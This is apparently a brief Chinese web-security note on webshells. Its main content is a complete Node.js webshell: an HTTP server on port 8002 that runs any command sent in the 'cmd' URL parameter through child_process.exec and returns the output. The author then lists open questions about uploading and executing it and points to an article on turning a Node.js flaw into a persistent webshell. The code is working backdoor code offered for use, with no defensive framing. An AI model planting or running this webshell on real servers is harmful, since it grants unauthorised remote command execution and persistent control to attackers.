【WEB安全】webshell

  • 【【WEB安全】webshell】webshell
    require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"}); try { require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) { res.end(s); }); } catch (err) { console.log(err) res.end(err.toString()) } }).listen(8002)

  • 如何上传webshell文件
  • 如何执行webshell文件
我觉得第二点是最麻烦的
参考文章
  • nodejs漏洞华丽变身webshell实现持久化

    推荐阅读